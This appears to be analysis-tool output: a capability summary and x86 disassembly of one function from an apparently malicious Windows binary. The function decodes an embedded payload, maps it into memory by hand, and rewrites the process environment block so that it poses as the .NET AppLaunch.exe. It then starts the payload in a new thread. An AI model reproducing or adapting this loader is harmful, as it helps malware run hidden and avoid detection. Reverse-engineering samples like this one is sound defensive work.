Function at 0x401000
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Get number of processors
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, 0x1b69c
call fcn.00405980
mov eax, dword [0x44a2c0]
lea ebx, [esp + 0x98]
xor eax, esp
mov dword [esp + 0x1b698], eax
push 0x1b600
push 0x424218
push ebx
call fcn.00408b60
add esp, 0xc
mov dword [esp + 0x20], 0x1b600
mov dword [esp + 0x1c], ebx
mov esi, 1
xor ecx, ecx
xor edi, edi
mov ecx, dword [esp + 0x20]
mov edi, dword [esp + 0x1c]
not byte [edi]
add byte [edi], 0x43
mov eax, 0xff
sub byte [edi], 0x56
imul byte [edi]
inc edi
loop 0x401053
mov ebp, dword [esp + 0xd4]
cmp dword [ebp + ebx], 0x4550
jne 0x4014b5
add ebp, ebx
mov edi, dword [ebp + 0xa0]
mov ecx, dword [ebp + 0xa4]
mov eax, dword [ebp + 0x50]
mov dword [esp + 8], ecx
mov dword [esp + 4], edi
test ecx, ecx
je 0x4010ab
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
jmp 0x4010d7
push 4
push 0x3000
push eax
push dword [ebp + 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
cmp dword [ebp + 0x34], eax
je 0x4010d7
push 0x40
push 0x3000
push dword [ebp + 0x50]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x400
push ebx
push esi
call fcn.00408b60
add esp, 0xc
movzx eax, word [ebp + 0x14]
cmp word [ebp + 6], 0
mov ecx, ebp
mov dword [esp + 0xc], ecx
lea eax, [ebp + eax + 0x18]
mov ebp, esi
mov dword [esp + 0x18], eax
je 0x40113a
mov eax, dword [esp + 0x18]
mov edx, ebx
xor edi, edi
lea esi, [eax + 0x14]
nop dword [eax]
mov ecx, dword [esi]
mov eax, dword [esi - 8]
add ecx, edx
add eax, ebp
push dword [esi - 4]
push ecx
push eax
mov ebx, edx
call fcn.00408b60
mov ecx, dword [esp + 0x18]
mov edx, ebx
add esp, 0xc
movzx eax, word [ecx + 6]
inc edi
add esi, 0x28
cmp edi, eax
jb 0x401110
mov eax, ebp
sub eax, dword [ecx + 0x34]
mov ebx, dword [esp + 4]
mov edi, ebp
mov dword [esp], ebp
mov ebp, ecx
je 0x4012a8
cmp dword [esp + 8], 0
je 0x4012a8
add ebx, edi
xor ecx, ecx
jmp 0x40118c
mov ecx, dword [esp + 4]
mov edi, dword [esp]
mov esi, dword [ecx + 4]
mov ecx, dword [esp + 0x10]
mov ebx, edx
add ecx, esi
cmp ecx, dword [esp + 8]
jae 0x4012a8
mov esi, dword [ebx + 4]
mov dword [esp + 0x10], ecx
lea edx, [ebx + 8]
lea ecx, [esi - 8]
cmp ecx, 2
jb 0x40117a
mov dword [esp + 4], ebx
mov ebx, dword [ebx]
shr ecx, 1
lea esi, [ecx - 1]
add ebx, edi
mov edi, ecx
and edi, 7
cmp esi, 7
jae 0x4011e0
test edi, edi
jne 0x4011c6
jmp 0x401170
add edx, 2
dec edi
je 0x401170
movzx ecx, word [edx]
test ecx, 0x3000
je 0x4011c0
and ecx, 0xfff
add dword [ebx + ecx], eax
jmp 0x4011c0
and ecx, 0xfffffff8
jmp 0x4011f8
add edx, 0x10
add ecx, 0xfffffff8
je 0x4011b5
movzx esi, word [edx]
test esi, 0x3000
je 0x40120c
and esi, 0xfff
add dword [ebx + esi], eax
movzx esi, word [edx + 2]
test esi, 0x3000
je 0x401221
and esi, 0xfff
add dword [ebx + esi], eax
movzx esi, word [edx + 4]
test esi, 0x3000
je 0x401236
and esi, 0xfff
add dword [ebx + esi], eax
movzx esi, word [edx + 6]
test esi, 0x3000
je 0x40124b
and esi, 0xfff
add dword [ebx + esi], eax
movzx esi, word [edx + 8]
test esi, 0x3000
je 0x401260
and esi, 0xfff
add dword [ebx + esi], eax
movzx esi, word [edx + 0xa]
test esi, 0x3000
je 0x401275
and esi, 0xfff
add dword [ebx + esi], eax
movzx esi, word [edx + 0xc]
test esi, 0x3000
je 0x40128a
and esi, 0xfff
add dword [ebx + esi], eax
movzx esi, word [edx + 0xe]
test esi, 0x3000
je 0x4011f0
and esi, 0xfff
add dword [ebx + esi], eax
jmp 0x4011f0
mov ecx, dword [ebp + 0x80]
cmp dword [ecx + edi + 0x10], 0
je 0x401365
lea eax, [ecx + edi + 0x10]
add ecx, edi
xor edx, edx
mov dword [esp + 8], ecx
mov dword [esp + 0x10], eax
jmp 0x4012ee
mov edx, dword [esp + 4]
mov ecx, dword [esp + 8]
mov edi, dword [esp]
inc edx
lea eax, [edx + edx*4]
cmp dword [ecx + eax*4 + 0x10], 0
lea esi, [ecx + eax*4 + 0x10]
mov dword [esp + 0x10], esi
je 0x401365
lea eax, [edx + edx*4]
mov dword [esp + 4], edx
mov eax, dword [ecx + eax*4 + 0xc]
add eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x4012d0
mov edi, eax
mov eax, dword [esp + 0x10]
mov esi, dword [eax]
mov eax, dword [esp]
mov ebp, dword [esi + eax]
test ebp, ebp
je 0x4012d0
mov ebx, dword [esp]
add esi, ebx
add esi, 4
jmp 0x401345
mov ecx, dword [esp + 0x10]
mov ecx, dword [ecx]
mov dword [ebx + ecx], eax
add ebx, 4
mov ebp, dword [esi]
add esi, 4
test ebp, ebp
je 0x4012d0
movzx eax, bp
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x401330
mov eax, dword [esp]
lea eax, [ebp + eax + 2]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x401330
mov edx, dword [esp + 0xc]
mov ebp, dword [esp + 0x18]
mov ebx, edi
cmp word [edx + 6], 0
je 0x4013ef
add ebp, 8
mov edi, 0x40
xor esi, esi
mov ecx, dword [ebp + 0x1c]
mov eax, 0x40
mov edx, 4
mov ebx, 2
test ecx, 0x20000000
cmove eax, edx
mov edx, ecx
test ecx, 0x40000000
not edx
cmove ebx, edi
test edx, 0x60000000
mov edx, 0x20
cmove ebx, edx
cmp ecx, 0xc0000000
mov ecx, 4
lea edx, [esp + 0x1c]
cmovb eax, ecx
mov ecx, dword [ebp + 4]
cmovb eax, ebx
mov ebx, dword [esp]
add ecx, ebx
push edx
push eax
push dword [ebp]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0xc]
inc esi
add ebp, 0x28
movzx eax, word [edx + 6]
cmp esi, eax
jb 0x401380
mov eax, dword fs:[0x30]
vmovups ymm0, ymmword [0x43f870]
vmovups ymm1, ymmword [0x43f858]
vmovups ymm2, ymmword [0x43f838]
mov ebp, edx
mov ecx, dword [eax + 0xc]
mov edi, dword [ecx + 0x14]
mov dword [eax + 8], ebx
mov dword [edi + 0x10], ebx
vmovups ymmword [esp + 0x78], ymm0
vmovups ymmword [esp + 0x60], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [esp + 0x40], ymm2
vmovups ymmword [esp + 0x20], ymm1
cmp dword [edx + 0xe8], 0
je 0x401491
vmovsd xmm0, qword [edi + 0x1c]
lea eax, [esp + 0x20]
mov dword [edi + 0x20], eax
vmovsd qword [esp + 0x10], xmm0
push eax
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov word [edi + 0x1c], ax
add ebx, dword [ebp + 0x28]
push 0
push 0
push 0
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
vmovsd xmm0, qword [esp + 0x10]
vmovsd qword [edi + 0x1c], xmm0
jmp 0x4014aa
add ebx, dword [ebp + 0x28]
push 0
push 0
push 0
push ebx
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor esi, esi
mov ecx, dword [esp + 0x1b698]
xor ecx, esp
call fcn.0040596e
mov eax, esi
add esp, 0x1b69c
pop esi
pop edi
pop ebx
pop ebp
ret